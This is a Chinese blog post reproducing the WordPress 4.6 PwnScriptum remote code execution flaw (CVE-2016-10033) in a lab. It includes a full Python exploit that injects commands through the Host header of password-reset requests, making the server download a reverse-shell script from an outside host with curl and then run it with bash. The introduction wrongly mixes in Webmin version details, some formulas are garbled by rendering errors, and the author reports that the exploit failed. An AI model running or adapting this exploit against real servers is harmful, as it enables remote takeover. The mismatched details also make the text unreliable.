WordPress 远程执行代码漏洞 CVE-2016-10033 漏洞复现

WordPress 4.6远程执行代码漏洞(PwnScriptum)

by ADummy

0x00利用路线

​ burpuite抓包—>改包—>远程代码执行

0x01漏洞介绍

​ 参考链接的有效负载不完整。深入阅读代码后,我发现只有在1.920之前不存在主体的用户参数时,才能执行命令,而在1.920处没有限制。

​ 影响版本

	Webmin < 1.920

0x02漏洞复现

​ 访问http://your-ip:8080/,设置管理员用户名和密码以使用它(数据库已配置且不会自动更新)

我们需要满足以下要求才能利用此漏洞:

  1. 执行的命令不能包含一些特殊的字符,例如:'"等。
  2. 该命令将转换为小写字母
  3. 该命令需要使用绝对路径
  4. 需要知道一个现有的用户名

为了解决这些问题,漏洞作者提出了KaTeX parse error: Expected '}', got 'EOF' at end of input: `substr{0}{1}{spool_directory}}而不是/,使用KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{10}{1}{tod_log} }`了替换空格的方法。

但是,仍然有很多字符无法使用。因此,我们需要将该命令放在第三方网站上,然后通过将其下载到/tmp目录中curl -o /tmp/rce example.com/shell.sh

因此,展开过程如下:

  1. 编写反向外壳的exp并将其放在站点上。exp具有以下要求:
    • 整个url的大写字母将转换为小写,因此文件路径不应包含大写字母。
    • 无法重定向对此页面的访问,因为跟随重定向的参数为-L(大写)。
  2. 拼接命令/usr/bin/curl -o/tmp/rce example.com/shell.sh/bin/bash /tmp/rce
  3. /命令中的空格和转换为${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}
  4. 产生HTTP Host标头:target(any -froot@localhost -be ${run{command}} null)
  5. 依次发送这两个数据包。

这是expliot.py,更改target为目标站点,更改为现有user用户名,更改shell_url为有效负载站点。

exp

#!/usr/bin/env python3
import requests
import sys

# wordpress's url
target = 'http://192.168.0.142' if len(sys.argv) < 1 else sys.argv[1]
# Put your command in a website, and use the website's url
# don't contains "http://", must be all lowercase
shell_url = '192.168.0.141:8000/1.txt' if len(sys.argv) < 2 else sys.argv[2]
# an exists user
user = 'admin'

def generate_command(command):
    command = '${run{%s}}' % command
    command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
    command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
    return 'target(any -froot@localhost -be %s null)' % command


session = requests.session()
data = {
    'user_login': user,
    'redirect_to': '',
    'wp-submit': 'Get New Password'
}
session.headers = {
    'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
session.allow_redirects = False
target += '/wp-login.php?action=lostpassword'
session.post(target, data=data)

session.headers['Host'] = generate_command('/bin/bash /tmp/rce')
session.post(target, data=data)
``
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210302185757286.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzQxNjQ2OQ==,size_16,color_FFFFFF,t_70)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210302185757778.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzQxNjQ2OQ==,size_16,color_FFFFFF,t_70)
exp总执行失败

未接到shell
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值